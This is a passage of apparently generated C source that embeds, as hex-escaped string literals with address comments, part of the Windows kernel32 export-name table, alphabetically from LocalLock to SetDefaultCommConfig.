"\x4C\x6F\x63\x61\x6C\x4C\x6F\x63\x6B\x00\x4C\x6F\x63\x61\x6C\x52" // LocalLock.LocalR /* 7C807670 */ "\x65\x41\x6C\x6C\x6F\x63\x00\x4C\x6F\x63\x61\x6C\x53\x68\x72\x69" // eAlloc.LocalShri /* 7C807680 */ "\x6E\x6B\x00\x4C\x6F\x63\x61\x6C\x53\x69\x7A\x65\x00\x4C\x6F\x63" // nk.LocalSize.Loc /* 7C807690 */ "\x61\x6C\x55\x6E\x6C\x6F\x63\x6B\x00\x4C\x6F\x63\x6B\x46\x69\x6C" // alUnlock.LockFil /* 7C8076A0 */ "\x65\x00\x4C\x6F\x63\x6B\x46\x69\x6C\x65\x45\x78\x00\x4C\x6F\x63" // e.LockFileEx.Loc /* 7C8076B0 */ "\x6B\x52\x65\x73\x6F\x75\x72\x63\x65\x00\x4D\x61\x70\x55\x73\x65" // kResource.MapUse /* 7C8076C0 */ "\x72\x50\x68\x79\x73\x69\x63\x61\x6C\x50\x61\x67\x65\x73\x00\x4D" // rPhysicalPages.M /* 7C8076D0 */ "\x61\x70\x55\x73\x65\x72\x50\x68\x79\x73\x69\x63\x61\x6C\x50\x61" // apUserPhysicalPa /* 7C8076E0 */ "\x67\x65\x73\x53\x63\x61\x74\x74\x65\x72\x00\x4D\x61\x70\x56\x69" // gesScatter.MapVi /* 7C8076F0 */ "\x65\x77\x4F\x66\x46\x69\x6C\x65\x00\x4D\x61\x70\x56\x69\x65\x77" // ewOfFile.MapView /* 7C807700 */ "\x4F\x66\x46\x69\x6C\x65\x45\x78\x00\x4D\x6F\x64\x75\x6C\x65\x33" // OfFileEx.Module3 /* 7C807710 */ "\x32\x46\x69\x72\x73\x74\x00\x4D\x6F\x64\x75\x6C\x65\x33\x32\x46" // 2First.Module32F /* 7C807720 */ "\x69\x72\x73\x74\x57\x00\x4D\x6F\x64\x75\x6C\x65\x33\x32\x4E\x65" // irstW.Module32Ne /* 7C807730 */ "\x78\x74\x00\x4D\x6F\x64\x75\x6C\x65\x33\x32\x4E\x65\x78\x74\x57" // xt.Module32NextW /* 7C807740 */ "\x00\x4D\x6F\x76\x65\x46\x69\x6C\x65\x41\x00\x4D\x6F\x76\x65\x46" // .MoveFileA.MoveF /* 7C807750 */ "\x69\x6C\x65\x45\x78\x41\x00\x4D\x6F\x76\x65\x46\x69\x6C\x65\x45" // ileExA.MoveFileE /* 7C807760 */ "\x78\x57\x00\x4D\x6F\x76\x65\x46\x69\x6C\x65\x57\x00\x4D\x6F\x76" // xW.MoveFileW.Mov /* 7C807770 */ "\x65\x46\x69\x6C\x65\x57\x69\x74\x68\x50\x72\x6F\x67\x72\x65\x73" // eFileWithProgres /* 7C807780 */ "\x73\x41\x00\x4D\x6F\x76\x65\x46\x69\x6C\x65\x57\x69\x74\x68\x50" // sA.MoveFileWithP /* 7C807790 */ "\x72\x6F\x67\x72\x65\x73\x73\x57\x00\x4D\x75\x6C\x44\x69\x76\x00" // rogressW.MulDiv. /* 7C8077A0 */ "\x4D\x75\x6C\x74\x69\x42\x79\x74\x65\x54\x6F\x57\x69\x64\x65\x43" // MultiByteToWideC /* 7C8077B0 */ "\x68\x61\x72\x00\x4E\x6C\x73\x43\x6F\x6E\x76\x65\x72\x74\x49\x6E" // har.NlsConvertIn /* 7C8077C0 */ "\x74\x65\x67\x65\x72\x54\x6F\x53\x74\x72\x69\x6E\x67\x00\x4E\x6C" // tegerToString.Nl /* 7C8077D0 */ "\x73\x47\x65\x74\x43\x61\x63\x68\x65\x55\x70\x64\x61\x74\x65\x43" // sGetCacheUpdateC /* 7C8077E0 */ "\x6F\x75\x6E\x74\x00\x4E\x6C\x73\x52\x65\x73\x65\x74\x50\x72\x6F" // ount.NlsResetPro /* 7C8077F0 */ "\x63\x65\x73\x73\x4C\x6F\x63\x61\x6C\x65\x00\x4E\x75\x6D\x61\x56" // cessLocale.NumaV /* 7C807800 */ "\x69\x72\x74\x75\x61\x6C\x51\x75\x65\x72\x79\x4E\x6F\x64\x65\x00" // irtualQueryNode. /* 7C807810 */ "\x4F\x70\x65\x6E\x43\x6F\x6E\x73\x6F\x6C\x65\x57\x00\x4F\x70\x65" // OpenConsoleW.Ope /* 7C807820 */ "\x6E\x44\x61\x74\x61\x46\x69\x6C\x65\x00\x4F\x70\x65\x6E\x45\x76" // nDataFile.OpenEv /* 7C807830 */ "\x65\x6E\x74\x41\x00\x4F\x70\x65\x6E\x45\x76\x65\x6E\x74\x57\x00" // entA.OpenEventW. /* 7C807840 */ "\x4F\x70\x65\x6E\x46\x69\x6C\x65\x00\x4F\x70\x65\x6E\x46\x69\x6C" // OpenFile.OpenFil /* 7C807850 */ "\x65\x4D\x61\x70\x70\x69\x6E\x67\x41\x00\x4F\x70\x65\x6E\x46\x69" // eMappingA.OpenFi /* 7C807860 */ "\x6C\x65\x4D\x61\x70\x70\x69\x6E\x67\x57\x00\x4F\x70\x65\x6E\x4A" // leMappingW.OpenJ /* 7C807870 */ "\x6F\x62\x4F\x62\x6A\x65\x63\x74\x41\x00\x4F\x70\x65\x6E\x4A\x6F" // obObjectA.OpenJo /* 7C807880 */ "\x62\x4F\x62\x6A\x65\x63\x74\x57\x00\x4F\x70\x65\x6E\x4D\x75\x74" // bObjectW.OpenMut /* 7C807890 */ "\x65\x78\x41\x00\x4F\x70\x65\x6E\x4D\x75\x74\x65\x78\x57\x00\x4F" // exA.OpenMutexW.O /* 7C8078A0 */ "\x70\x65\x6E\x50\x72\x6F\x63\x65\x73\x73\x00\x4F\x70\x65\x6E\x50" // penProcess.OpenP /* 7C8078B0 */ "\x72\x6F\x66\x69\x6C\x65\x55\x73\x65\x72\x4D\x61\x70\x70\x69\x6E" // rofileUserMappin /* 7C8078C0 */ "\x67\x00\x4F\x70\x65\x6E\x53\x65\x6D\x61\x70\x68\x6F\x72\x65\x41" // g.OpenSemaphoreA /* 7C8078D0 */ "\x00\x4F\x70\x65\x6E\x53\x65\x6D\x61\x70\x68\x6F\x72\x65\x57\x00" // .OpenSemaphoreW. /* 7C8078E0 */ "\x4F\x70\x65\x6E\x54\x68\x72\x65\x61\x64\x00\x4F\x70\x65\x6E\x57" // OpenThread.OpenW /* 7C8078F0 */ "\x61\x69\x74\x61\x62\x6C\x65\x54\x69\x6D\x65\x72\x41\x00\x4F\x70" // aitableTimerA.Op /* 7C807900 */ "\x65\x6E\x57\x61\x69\x74\x61\x62\x6C\x65\x54\x69\x6D\x65\x72\x57" // enWaitableTimerW /* 7C807910 */ "\x00\x4F\x75\x74\x70\x75\x74\x44\x65\x62\x75\x67\x53\x74\x72\x69" // .OutputDebugStri /* 7C807920 */ "\x6E\x67\x41\x00\x4F\x75\x74\x70\x75\x74\x44\x65\x62\x75\x67\x53" // ngA.OutputDebugS /* 7C807930 */ "\x74\x72\x69\x6E\x67\x57\x00\x50\x65\x65\x6B\x43\x6F\x6E\x73\x6F" // tringW.PeekConso /* 7C807940 */ "\x6C\x65\x49\x6E\x70\x75\x74\x41\x00\x50\x65\x65\x6B\x43\x6F\x6E" // leInputA.PeekCon /* 7C807950 */ "\x73\x6F\x6C\x65\x49\x6E\x70\x75\x74\x57\x00\x50\x65\x65\x6B\x4E" // soleInputW.PeekN /* 7C807960 */ "\x61\x6D\x65\x64\x50\x69\x70\x65\x00\x50\x6F\x73\x74\x51\x75\x65" // amedPipe.PostQue /* 7C807970 */ "\x75\x65\x64\x43\x6F\x6D\x70\x6C\x65\x74\x69\x6F\x6E\x53\x74\x61" // uedCompletionSta /* 7C807980 */ "\x74\x75\x73\x00\x50\x72\x65\x70\x61\x72\x65\x54\x61\x70\x65\x00" // tus.PrepareTape. /* 7C807990 */ "\x50\x72\x69\x76\x43\x6F\x70\x79\x46\x69\x6C\x65\x45\x78\x57\x00" // PrivCopyFileExW. /* 7C8079A0 */ "\x50\x72\x69\x76\x4D\x6F\x76\x65\x46\x69\x6C\x65\x49\x64\x65\x6E" // PrivMoveFileIden /* 7C8079B0 */ "\x74\x69\x74\x79\x57\x00\x50\x72\x6F\x63\x65\x73\x73\x33\x32\x46" // tityW.Process32F /* 7C8079C0 */ "\x69\x72\x73\x74\x00\x50\x72\x6F\x63\x65\x73\x73\x33\x32\x46\x69" // irst.Process32Fi /* 7C8079D0 */ "\x72\x73\x74\x57\x00\x50\x72\x6F\x63\x65\x73\x73\x33\x32\x4E\x65" // rstW.Process32Ne /* 7C8079E0 */ "\x78\x74\x00\x50\x72\x6F\x63\x65\x73\x73\x33\x32\x4E\x65\x78\x74" // xt.Process32Next /* 7C8079F0 */ "\x57\x00\x50\x72\x6F\x63\x65\x73\x73\x49\x64\x54\x6F\x53\x65\x73" // W.ProcessIdToSes /* 7C807A00 */ "\x73\x69\x6F\x6E\x49\x64\x00\x50\x75\x6C\x73\x65\x45\x76\x65\x6E" // sionId.PulseEven /* 7C807A10 */ "\x74\x00\x50\x75\x72\x67\x65\x43\x6F\x6D\x6D\x00\x51\x75\x65\x72" // t.PurgeComm.Quer /* 7C807A20 */ "\x79\x41\x63\x74\x43\x74\x78\x57\x00\x51\x75\x65\x72\x79\x44\x65" // yActCtxW.QueryDe /* 7C807A30 */ "\x70\x74\x68\x53\x4C\x69\x73\x74\x00\x51\x75\x65\x72\x79\x44\x6F" // pthSList.QueryDo /* 7C807A40 */ "\x73\x44\x65\x76\x69\x63\x65\x41\x00\x51\x75\x65\x72\x79\x44\x6F" // sDeviceA.QueryDo /* 7C807A50 */ "\x73\x44\x65\x76\x69\x63\x65\x57\x00\x51\x75\x65\x72\x79\x49\x6E" // sDeviceW.QueryIn /* 7C807A60 */ "\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x4A\x6F\x62\x4F\x62\x6A\x65" // formationJobObje /* 7C807A70 */ "\x63\x74\x00\x51\x75\x65\x72\x79\x4D\x65\x6D\x6F\x72\x79\x52\x65" // ct.QueryMemoryRe /* 7C807A80 */ "\x73\x6F\x75\x72\x63\x65\x4E\x6F\x74\x69\x66\x69\x63\x61\x74\x69" // sourceNotificati /* 7C807A90 */ "\x6F\x6E\x00\x51\x75\x65\x72\x79\x50\x65\x72\x66\x6F\x72\x6D\x61" // on.QueryPerforma /* 7C807AA0 */ "\x6E\x63\x65\x43\x6F\x75\x6E\x74\x65\x72\x00\x51\x75\x65\x72\x79" // nceCounter.Query /* 7C807AB0 */ "\x50\x65\x72\x66\x6F\x72\x6D\x61\x6E\x63\x65\x46\x72\x65\x71\x75" // PerformanceFrequ /* 7C807AC0 */ "\x65\x6E\x63\x79\x00\x51\x75\x65\x72\x79\x57\x69\x6E\x33\x31\x49" // ency.QueryWin31I /* 7C807AD0 */ "\x6E\x69\x46\x69\x6C\x65\x73\x4D\x61\x70\x70\x65\x64\x54\x6F\x52" // niFilesMappedToR /* 7C807AE0 */ "\x65\x67\x69\x73\x74\x72\x79\x00\x51\x75\x65\x75\x65\x55\x73\x65" // egistry.QueueUse /* 7C807AF0 */ "\x72\x41\x50\x43\x00\x51\x75\x65\x75\x65\x55\x73\x65\x72\x57\x6F" // rAPC.QueueUserWo /* 7C807B00 */ "\x72\x6B\x49\x74\x65\x6D\x00\x52\x61\x69\x73\x65\x45\x78\x63\x65" // rkItem.RaiseExce /* 7C807B10 */ "\x70\x74\x69\x6F\x6E\x00\x52\x65\x61\x64\x43\x6F\x6E\x73\x6F\x6C" // ption.ReadConsol /* 7C807B20 */ "\x65\x41\x00\x52\x65\x61\x64\x43\x6F\x6E\x73\x6F\x6C\x65\x49\x6E" // eA.ReadConsoleIn /* 7C807B30 */ "\x70\x75\x74\x41\x00\x52\x65\x61\x64\x43\x6F\x6E\x73\x6F\x6C\x65" // putA.ReadConsole /* 7C807B40 */ "\x49\x6E\x70\x75\x74\x45\x78\x41\x00\x52\x65\x61\x64\x43\x6F\x6E" // InputExA.ReadCon /* 7C807B50 */ "\x73\x6F\x6C\x65\x49\x6E\x70\x75\x74\x45\x78\x57\x00\x52\x65\x61" // soleInputExW.Rea /* 7C807B60 */ "\x64\x43\x6F\x6E\x73\x6F\x6C\x65\x49\x6E\x70\x75\x74\x57\x00\x52" // dConsoleInputW.R /* 7C807B70 */ "\x65\x61\x64\x43\x6F\x6E\x73\x6F\x6C\x65\x4F\x75\x74\x70\x75\x74" // eadConsoleOutput /* 7C807B80 */ "\x41\x00\x52\x65\x61\x64\x43\x6F\x6E\x73\x6F\x6C\x65\x4F\x75\x74" // A.ReadConsoleOut /* 7C807B90 */ "\x70\x75\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x52\x65\x61" // putAttribute.Rea /* 7C807BA0 */ "\x64\x43\x6F\x6E\x73\x6F\x6C\x65\x4F\x75\x74\x70\x75\x74\x43\x68" // dConsoleOutputCh /* 7C807BB0 */ "\x61\x72\x61\x63\x74\x65\x72\x41\x00\x52\x65\x61\x64\x43\x6F\x6E" // aracterA.ReadCon /* 7C807BC0 */ "\x73\x6F\x6C\x65\x4F\x75\x74\x70\x75\x74\x43\x68\x61\x72\x61\x63" // soleOutputCharac /* 7C807BD0 */ "\x74\x65\x72\x57\x00\x52\x65\x61\x64\x43\x6F\x6E\x73\x6F\x6C\x65" // terW.ReadConsole /* 7C807BE0 */ "\x4F\x75\x74\x70\x75\x74\x57\x00\x52\x65\x61\x64\x43\x6F\x6E\x73" // OutputW.ReadCons /* 7C807BF0 */ "\x6F\x6C\x65\x57\x00\x52\x65\x61\x64\x44\x69\x72\x65\x63\x74\x6F" // oleW.ReadDirecto /* 7C807C00 */ "\x72\x79\x43\x68\x61\x6E\x67\x65\x73\x57\x00\x52\x65\x61\x64\x46" // ryChangesW.ReadF /* 7C807C10 */ "\x69\x6C\x65\x00\x52\x65\x61\x64\x46\x69\x6C\x65\x45\x78\x00\x52" // ile.ReadFileEx.R /* 7C807C20 */ "\x65\x61\x64\x46\x69\x6C\x65\x53\x63\x61\x74\x74\x65\x72\x00\x52" // eadFileScatter.R /* 7C807C30 */ "\x65\x61\x64\x50\x72\x6F\x63\x65\x73\x73\x4D\x65\x6D\x6F\x72\x79" // eadProcessMemory /* 7C807C40 */ "\x00\x52\x65\x67\x69\x73\x74\x65\x72\x43\x6F\x6E\x73\x6F\x6C\x65" // .RegisterConsole /* 7C807C50 */ "\x49\x4D\x45\x00\x52\x65\x67\x69\x73\x74\x65\x72\x43\x6F\x6E\x73" // IME.RegisterCons /* 7C807C60 */ "\x6F\x6C\x65\x4F\x53\x32\x00\x52\x65\x67\x69\x73\x74\x65\x72\x43" // oleOS2.RegisterC /* 7C807C70 */ "\x6F\x6E\x73\x6F\x6C\x65\x56\x44\x4D\x00\x52\x65\x67\x69\x73\x74" // onsoleVDM.Regist /* 7C807C80 */ "\x65\x72\x57\x61\x69\x74\x46\x6F\x72\x49\x6E\x70\x75\x74\x49\x64" // erWaitForInputId /* 7C807C90 */ "\x6C\x65\x00\x52\x65\x67\x69\x73\x74\x65\x72\x57\x61\x69\x74\x46" // le.RegisterWaitF /* 7C807CA0 */ "\x6F\x72\x53\x69\x6E\x67\x6C\x65\x4F\x62\x6A\x65\x63\x74\x00\x52" // orSingleObject.R /* 7C807CB0 */ "\x65\x67\x69\x73\x74\x65\x72\x57\x61\x69\x74\x46\x6F\x72\x53\x69" // egisterWaitForSi /* 7C807CC0 */ "\x6E\x67\x6C\x65\x4F\x62\x6A\x65\x63\x74\x45\x78\x00\x52\x65\x67" // ngleObjectEx.Reg /* 7C807CD0 */ "\x69\x73\x74\x65\x72\x57\x6F\x77\x42\x61\x73\x65\x48\x61\x6E\x64" // isterWowBaseHand /* 7C807CE0 */ "\x6C\x65\x72\x73\x00\x52\x65\x67\x69\x73\x74\x65\x72\x57\x6F\x77" // lers.RegisterWow /* 7C807CF0 */ "\x45\x78\x65\x63\x00\x52\x65\x6C\x65\x61\x73\x65\x41\x63\x74\x43" // Exec.ReleaseActC /* 7C807D00 */ "\x74\x78\x00\x52\x65\x6C\x65\x61\x73\x65\x4D\x75\x74\x65\x78\x00" // tx.ReleaseMutex. /* 7C807D10 */ "\x52\x65\x6C\x65\x61\x73\x65\x53\x65\x6D\x61\x70\x68\x6F\x72\x65" // ReleaseSemaphore /* 7C807D20 */ "\x00\x52\x65\x6D\x6F\x76\x65\x44\x69\x72\x65\x63\x74\x6F\x72\x79" // .RemoveDirectory /* 7C807D30 */ "\x41\x00\x52\x65\x6D\x6F\x76\x65\x44\x69\x72\x65\x63\x74\x6F\x72" // A.RemoveDirector /* 7C807D40 */ "\x79\x57\x00\x52\x65\x6D\x6F\x76\x65\x4C\x6F\x63\x61\x6C\x41\x6C" // yW.RemoveLocalAl /* 7C807D50 */ "\x74\x65\x72\x6E\x61\x74\x65\x43\x6F\x6D\x70\x75\x74\x65\x72\x4E" // ternateComputerN /* 7C807D60 */ "\x61\x6D\x65\x41\x00\x52\x65\x6D\x6F\x76\x65\x4C\x6F\x63\x61\x6C" // ameA.RemoveLocal /* 7C807D70 */ "\x41\x6C\x74\x65\x72\x6E\x61\x74\x65\x43\x6F\x6D\x70\x75\x74\x65" // AlternateCompute /* 7C807D80 */ "\x72\x4E\x61\x6D\x65\x57\x00\x52\x65\x6D\x6F\x76\x65\x56\x65\x63" // rNameW.RemoveVec /* 7C807D90 */ "\x74\x6F\x72\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x48\x61" // toredExceptionHa /* 7C807DA0 */ "\x6E\x64\x6C\x65\x72\x00\x52\x65\x70\x6C\x61\x63\x65\x46\x69\x6C" // ndler.ReplaceFil /* 7C807DB0 */ "\x65\x00\x52\x65\x70\x6C\x61\x63\x65\x46\x69\x6C\x65\x41\x00\x52" // e.ReplaceFileA.R /* 7C807DC0 */ "\x65\x70\x6C\x61\x63\x65\x46\x69\x6C\x65\x57\x00\x52\x65\x71\x75" // eplaceFileW.Requ /* 7C807DD0 */ "\x65\x73\x74\x44\x65\x76\x69\x63\x65\x57\x61\x6B\x65\x75\x70\x00" // estDeviceWakeup. /* 7C807DE0 */ "\x52\x65\x71\x75\x65\x73\x74\x57\x61\x6B\x65\x75\x70\x4C\x61\x74" // RequestWakeupLat /* 7C807DF0 */ "\x65\x6E\x63\x79\x00\x52\x65\x73\x65\x74\x45\x76\x65\x6E\x74\x00" // ency.ResetEvent. /* 7C807E00 */ "\x52\x65\x73\x65\x74\x57\x72\x69\x74\x65\x57\x61\x74\x63\x68\x00" // ResetWriteWatch. /* 7C807E10 */ "\x52\x65\x73\x74\x6F\x72\x65\x4C\x61\x73\x74\x45\x72\x72\x6F\x72" // RestoreLastError /* 7C807E20 */ "\x00\x52\x65\x73\x75\x6D\x65\x54\x68\x72\x65\x61\x64\x00\x52\x74" // .ResumeThread.Rt /* 7C807E30 */ "\x6C\x43\x61\x70\x74\x75\x72\x65\x43\x6F\x6E\x74\x65\x78\x74\x00" // lCaptureContext. /* 7C807E40 */ "\x52\x74\x6C\x43\x61\x70\x74\x75\x72\x65\x53\x74\x61\x63\x6B\x42" // RtlCaptureStackB /* 7C807E50 */ "\x61\x63\x6B\x54\x72\x61\x63\x65\x00\x52\x74\x6C\x46\x69\x6C\x6C" // ackTrace.RtlFill /* 7C807E60 */ "\x4D\x65\x6D\x6F\x72\x79\x00\x52\x74\x6C\x4D\x6F\x76\x65\x4D\x65" // Memory.RtlMoveMe /* 7C807E70 */ "\x6D\x6F\x72\x79\x00\x52\x74\x6C\x55\x6E\x77\x69\x6E\x64\x00\x52" // mory.RtlUnwind.R /* 7C807E80 */ "\x74\x6C\x5A\x65\x72\x6F\x4D\x65\x6D\x6F\x72\x79\x00\x53\x63\x72" // tlZeroMemory.Scr /* 7C807E90 */ "\x6F\x6C\x6C\x43\x6F\x6E\x73\x6F\x6C\x65\x53\x63\x72\x65\x65\x6E" // ollConsoleScreen /* 7C807EA0 */ "\x42\x75\x66\x66\x65\x72\x41\x00\x53\x63\x72\x6F\x6C\x6C\x43\x6F" // BufferA.ScrollCo /* 7C807EB0 */ "\x6E\x73\x6F\x6C\x65\x53\x63\x72\x65\x65\x6E\x42\x75\x66\x66\x65" // nsoleScreenBuffe /* 7C807EC0 */ "\x72\x57\x00\x53\x65\x61\x72\x63\x68\x50\x61\x74\x68\x41\x00\x53" // rW.SearchPathA.S /* 7C807ED0 */ "\x65\x61\x72\x63\x68\x50\x61\x74\x68\x57\x00\x53\x65\x74\x43\x50" // earchPathW.SetCP /* 7C807EE0 */ "\x47\x6C\x6F\x62\x61\x6C\x00\x53\x65\x74\x43\x61\x6C\x65\x6E\x64" // Global.SetCalend /* 7C807EF0 */ "\x61\x72\x49\x6E\x66\x6F\x41\x00\x53\x65\x74\x43\x61\x6C\x65\x6E" // arInfoA.SetCalen /* 7C807F00 */ "\x64\x61\x72\x49\x6E\x66\x6F\x57\x00\x53\x65\x74\x43\x6C\x69\x65" // darInfoW.SetClie /* 7C807F10 */ "\x6E\x74\x54\x69\x6D\x65\x5A\x6F\x6E\x65\x49\x6E\x66\x6F\x72\x6D" // ntTimeZoneInform /* 7C807F20 */ "\x61\x74\x69\x6F\x6E\x00\x53\x65\x74\x43\x6F\x6D\x50\x6C\x75\x73" // ation.SetComPlus /* 7C807F30 */ "\x50\x61\x63\x6B\x61\x67\x65\x49\x6E\x73\x74\x61\x6C\x6C\x53\x74" // PackageInstallSt /* 7C807F40 */ "\x61\x74\x75\x73\x00\x53\x65\x74\x43\x6F\x6D\x6D\x42\x72\x65\x61" // atus.SetCommBrea /* 7C807F50 */ "\x6B\x00\x53\x65\x74\x43\x6F\x6D\x6D\x43\x6F\x6E\x66\x69\x67\x00" // k.SetCommConfig. /* 7C807F60 */ "\x53\x65\x74\x43\x6F\x6D\x6D\x4D\x61\x73\x6B\x00\x53\x65\x74\x43" // SetCommMask.SetC /* 7C807F70 */ "\x6F\x6D\x6D\x53\x74\x61\x74\x65\x00\x53\x65\x74\x43\x6F\x6D\x6D" // ommState.SetComm /* 7C807F80 */ "\x54\x69\x6D\x65\x6F\x75\x74\x73\x00\x53\x65\x74\x43\x6F\x6D\x70" // Timeouts.SetComp /* 7C807F90 */ "\x75\x74\x65\x72\x4E\x61\x6D\x65\x41\x00\x53\x65\x74\x43\x6F\x6D" // uterNameA.SetCom /* 7C807FA0 */ "\x70\x75\x74\x65\x72\x4E\x61\x6D\x65\x45\x78\x41\x00\x53\x65\x74" // puterNameExA.Set /* 7C807FB0 */ "\x43\x6F\x6D\x70\x75\x74\x65\x72\x4E\x61\x6D\x65\x45\x78\x57\x00" // ComputerNameExW. /* 7C807FC0 */ "\x53\x65\x74\x43\x6F\x6D\x70\x75\x74\x65\x72\x4E\x61\x6D\x65\x57" // SetComputerNameW /* 7C807FD0 */ "\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x41\x63\x74\x69\x76" // .SetConsoleActiv /* 7C807FE0 */ "\x65\x53\x63\x72\x65\x65\x6E\x42\x75\x66\x66\x65\x72\x00\x53\x65" // eScreenBuffer.Se /* 7C807FF0 */ "\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x43\x50\x00\x53\x65\x74\x43\x6F" // tConsoleCP.SetCo /* 7C808000 */ "\x6E\x73\x6F\x6C\x65\x43\x6F\x6D\x6D\x61\x6E\x64\x48\x69\x73\x74" // nsoleCommandHist /* 7C808010 */ "\x6F\x72\x79\x4D\x6F\x64\x65\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F" // oryMode.SetConso /* 7C808020 */ "\x6C\x65\x43\x74\x72\x6C\x48\x61\x6E\x64\x6C\x65\x72\x00\x53\x65" // leCtrlHandler.Se /* 7C808030 */ "\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x43\x75\x72\x73\x6F\x72\x00\x53" // tConsoleCursor.S /* 7C808040 */ "\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x43\x75\x72\x73\x6F\x72\x49" // etConsoleCursorI /* 7C808050 */ "\x6E\x66\x6F\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x43\x75" // nfo.SetConsoleCu /* 7C808060 */ "\x72\x73\x6F\x72\x4D\x6F\x64\x65\x00\x53\x65\x74\x43\x6F\x6E\x73" // rsorMode.SetCons /* 7C808070 */ "\x6F\x6C\x65\x43\x75\x72\x73\x6F\x72\x50\x6F\x73\x69\x74\x69\x6F" // oleCursorPositio /* 7C808080 */ "\x6E\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x44\x69\x73\x70" // n.SetConsoleDisp /* 7C808090 */ "\x6C\x61\x79\x4D\x6F\x64\x65\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F" // layMode.SetConso /* 7C8080A0 */ "\x6C\x65\x46\x6F\x6E\x74\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F\x6C" // leFont.SetConsol /* 7C8080B0 */ "\x65\x48\x61\x72\x64\x77\x61\x72\x65\x53\x74\x61\x74\x65\x00\x53" // eHardwareState.S /* 7C8080C0 */ "\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x49\x63\x6F\x6E\x00\x53\x65" // etConsoleIcon.Se /* 7C8080D0 */ "\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x49\x6E\x70\x75\x74\x45\x78\x65" // tConsoleInputExe /* 7C8080E0 */ "\x4E\x61\x6D\x65\x41\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65" // NameA.SetConsole /* 7C8080F0 */ "\x49\x6E\x70\x75\x74\x45\x78\x65\x4E\x61\x6D\x65\x57\x00\x53\x65" // InputExeNameW.Se /* 7C808100 */ "\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x4B\x65\x79\x53\x68\x6F\x72\x74" // tConsoleKeyShort /* 7C808110 */ "\x63\x75\x74\x73\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x4C" // cuts.SetConsoleL /* 7C808120 */ "\x6F\x63\x61\x6C\x45\x55\x44\x43\x00\x53\x65\x74\x43\x6F\x6E\x73" // ocalEUDC.SetCons /* 7C808130 */ "\x6F\x6C\x65\x4D\x61\x78\x69\x6D\x75\x6D\x57\x69\x6E\x64\x6F\x77" // oleMaximumWindow /* 7C808140 */ "\x53\x69\x7A\x65\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x4D" // Size.SetConsoleM /* 7C808150 */ "\x65\x6E\x75\x43\x6C\x6F\x73\x65\x00\x53\x65\x74\x43\x6F\x6E\x73" // enuClose.SetCons /* 7C808160 */ "\x6F\x6C\x65\x4D\x6F\x64\x65\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F" // oleMode.SetConso /* 7C808170 */ "\x6C\x65\x4E\x6C\x73\x4D\x6F\x64\x65\x00\x53\x65\x74\x43\x6F\x6E" // leNlsMode.SetCon /* 7C808180 */ "\x73\x6F\x6C\x65\x4E\x75\x6D\x62\x65\x72\x4F\x66\x43\x6F\x6D\x6D" // soleNumberOfComm /* 7C808190 */ "\x61\x6E\x64\x73\x41\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65" // andsA.SetConsole /* 7C8081A0 */ "\x4E\x75\x6D\x62\x65\x72\x4F\x66\x43\x6F\x6D\x6D\x61\x6E\x64\x73" // NumberOfCommands /* 7C8081B0 */ "\x57\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x4F\x53\x32\x4F" // W.SetConsoleOS2O /* 7C8081C0 */ "\x65\x6D\x46\x6F\x72\x6D\x61\x74\x00\x53\x65\x74\x43\x6F\x6E\x73" // emFormat.SetCons /* 7C8081D0 */ "\x6F\x6C\x65\x4F\x75\x74\x70\x75\x74\x43\x50\x00\x53\x65\x74\x43" // oleOutputCP.SetC /* 7C8081E0 */ "\x6F\x6E\x73\x6F\x6C\x65\x50\x61\x6C\x65\x74\x74\x65\x00\x53\x65" // onsolePalette.Se /* 7C8081F0 */ "\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x53\x63\x72\x65\x65\x6E\x42\x75" // tConsoleScreenBu /* 7C808200 */ "\x66\x66\x65\x72\x53\x69\x7A\x65\x00\x53\x65\x74\x43\x6F\x6E\x73" // fferSize.SetCons /* 7C808210 */ "\x6F\x6C\x65\x54\x65\x78\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65" // oleTextAttribute /* 7C808220 */ "\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x54\x69\x74\x6C\x65" // .SetConsoleTitle /* 7C808230 */ "\x41\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x54\x69\x74\x6C" // A.SetConsoleTitl /* 7C808240 */ "\x65\x57\x00\x53\x65\x74\x43\x6F\x6E\x73\x6F\x6C\x65\x57\x69\x6E" // eW.SetConsoleWin /* 7C808250 */ "\x64\x6F\x77\x49\x6E\x66\x6F\x00\x53\x65\x74\x43\x72\x69\x74\x69" // dowInfo.SetCriti /* 7C808260 */ "\x63\x61\x6C\x53\x65\x63\x74\x69\x6F\x6E\x53\x70\x69\x6E\x43\x6F" // calSectionSpinCo /* 7C808270 */ "\x75\x6E\x74\x00\x53\x65\x74\x43\x75\x72\x72\x65\x6E\x74\x44\x69" // unt.SetCurrentDi /* 7C808280 */ "\x72\x65\x63\x74\x6F\x72\x79\x41\x00\x53\x65\x74\x43\x75\x72\x72" // rectoryA.SetCurr /* 7C808290 */ "\x65\x6E\x74\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x57\x00\x53\x65" // entDirectoryW.Se /* 7C8082A0 */ "\x74\x44\x65\x66\x61\x75\x6C\x74\x43\x6F\x6D\x6D\x43\x6F\x6E\x66" // tDefaultCommConf /* 7C8082B0 */ "\x69\x67\x41\x00\x53\x65\x74\x44\x65\x66\x61\x75\x6C\x74\x43\x6F" // igA.SetDefaultCo /* 